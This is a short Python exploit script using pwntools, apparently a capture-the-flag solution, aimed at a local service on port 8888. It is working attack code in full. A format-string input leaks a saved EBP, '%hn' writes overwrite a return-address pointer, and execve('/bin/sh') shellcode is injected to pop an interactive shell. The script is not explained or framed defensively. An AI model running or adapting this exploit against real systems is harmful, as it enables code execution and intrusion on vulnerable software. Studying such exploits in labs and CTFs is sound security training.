ebp.py

from pwn import *
import time

def hackIt():
    HOST = '127.0.0.1'
    PORT = 8888
    r = remote(HOST, PORT)
    raw_input("debug?")

    # leak_ebp_echo
    offset = 4
    leak_ebp_echo = "%"+str(offset)+"$p"
    r.sendline(leak_ebp_echo)
    ebp_echo = r.recvuntil("\n")
    ret_main_16 = int(ebp_echo,16)+4

    # overwrite pointer to ret address
    offset = 4
    payload = "%"+str(ret_main_16&0xffff)+"x%"+str(offset)+"$hn"
    r.sendline(payload)

    # overwrite ret to buf (shellcode)
    shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
    payload = shellcode
    pad = (0x0804A080&0xffff)-len(payload)
    offset = 12
    payload += "%"+str(pad)+"x%"+str(offset)+"$hn"

    r.sendline(payload)
    r.interactive()
hackIt()